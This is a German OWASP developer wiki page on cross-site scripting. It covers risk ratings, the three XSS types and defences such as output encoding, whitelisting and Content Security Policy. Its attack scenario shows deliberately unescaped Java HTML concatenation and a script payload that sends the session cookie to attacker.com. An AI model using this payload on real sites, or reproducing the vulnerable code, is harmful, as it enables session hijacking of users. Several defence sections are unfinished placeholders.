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Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)

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A2 Cross-Site Scripting (XSS)

Bedrohungsquellen
Angriffsvektoren
Schwachstellen
Technische Auswirkung
Auswirkung auf das Unternehmen
______ Ausnutzbarkeit
DURCHSCHNITTLICH
Verbreitung
AUSSERGEWÖHNLICH HÄUFIG
Auffindbarkeit
EINFACH
Auswirkung
MITTEL
Application / Business Specific
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. Der Angreifer sendet textbasierte Angriffsskripte, die Eigenschaften des Browsers ausnutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche Inhalte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. Berücksichtigen Sie den geschäftlichen Nutzen des betroffenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle.
Mögliche Angriffsszenarien

Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'
.

Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. Grundsätzlich wird zwischen 3 Varianten für XSS unterschieden:

  1. Reflektiert bzw. nicht persistent: Die Benutzereingabe wird direkt von der Webanwendung zum Benutzer zurück gesendet. Enthält die Eingabe schädlichen Skriptcode, wird dieser im Browser des Benutzers ausgeführt. Bsp.: Benutzerforen, Gästebuch,...
  2. beständig bzw. persistent: schädlicher Skriptcode wird zunächst in der Webanwendung gespeichert und erst später bei Anfragen ausgeliefert. Bsp.: Suchergebnisse, Fehlermeldungen oder andere Antworten des Webservers, die Teile der Eingabe enthalten.
  3. DOM-basiert oder lokal: Schadcode wird direkt an ein client-seitiges Skript übergeben. Die Webanwendung ist überhaupt nicht beteiligt.
Wie kann ich 'Cross-Site Scripting (XSS)' verhindern?

Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.

  1. Vorzugsweise sollten nicht vertrauenswürdige Metazeichen für den Kontext, in dem sie ausgegeben werden (HTML, JavaScript, CSS, URL usw.), entsprechend escaped werden. Entwickler müssen dies in ihren Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist. Das OWASP XSS Prevention Cheat Sheet enthält weitere Informationen zu Escaping-Techniken.
  2. Eingabeüberprüfungen durch Positivlisten (“White-listing") mit einer angemessenen Kanonisierung und Dekodierung wird empfohlen. Dieses Vorgehen bietet jedoch keinen umfassenden Schutz, da viele Anwendungen Metazeichen als Eingabemöglichkeit erfordern. Eine Gültigkeitsprüfung sollte kodierte Eingaben dekodieren und auf Länge, Zeichen und Format prüfen, bevor die Eingabe akzeptiert wird.
  3. Ziehen Sie auch Mozillas Content Security Policy als Schutz gegen XSS in Betracht.
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

XSS

tbd

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

Content Security Policy (CSP)

Voraussetzung: Javascript Code wird in .js externe Dateien ausgelagert, d.h. inline script tags u. ä. sollten nicht genutzt werden.

Setzen des Header X-Content-Security-Policy (für Firefox und IE10; X-WebKit-CSP für Chrome und Safari) in der http-Antwort:

response.setHeader( "X-Content-Security-Policy", "'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com" );

Moderne Browser erkennen an diesem Header welchen Quellen die Webseite vertraut. Ältere Browser ignorieren den Header. Aus diesem Grund sollte man sich zu diesem Zeitpunkt noch nicht ausschließlich auf CSP verlassen, sondern es als eine flankierende Maßnahme ansehen.

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

Reflektiertes und Persistentes XSS

Canonicalize Input Setze Zeichenkodierung und Sprache auf die einfachste Form, z.B. im Header der ausgelieferten Seiten: Content-Type: text/html; charset=utf-8, Accept-Language: da, en-gb;q=0.8, en;q=0.7. Damit reduzieren sich die Möglichkeiten nachfolgende Validierungsroutinen zu umgehen.

Validate Input Using a Whitelist Whitelist validation (accept only known good data) is a key tenet of good security. Check the content of the data, the length, data type, etc.

  • Validierung gegen Positiv-Listen z.B. [^[a-zA-Z0-9+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,7}$]] für das Format der Email-Adresse. Weitere Beispiele befinden sich im OWASP Validation Regex Repository.


Contextual Output Encoding/Escaping: Output Escaping is the last step, and must be done for the appropriate context. You must understand where you’re sticking data, and how that location is interpreted from the browser’s view. This can be a sticky issue, so this one gets a bit problematic.

  • Ist nicht ausreichend, falls Metazeichen (im wesentlichen %&/()=?{[]}\+*~<>|,;.:-^' usw.) verarbeitet werden müssen. In diesem Fall sind solche Metazeichen nach Möglichkeit geeignet zu kodieren (insbes. & zu &amp, < zu &lt, > zu &gt, " zu &quot, ' zu &#x27 und / zu &#x2F). Die Verwendung von Frameworks wie ESAPI erlaubt eine vollständigere Lösung des Problems:

String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) );

Auswirkung(en) auf den Benutzer

DOM-basiertes oder lokales XSS

(ganze Breite)

Referenzen

OWASP

Andere

Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Auswirkung(en) auf den Benutzer

(ganze Breite) Text

Referenzen
Verteidigungs-Option 1 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 2 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Verteidigungs-Option 3 gegen 'Cross-Site Scripting (XSS)':

tbd Text

Auswirkung(en) auf den Benutzer

(ganze Breite) Text

Referenzen


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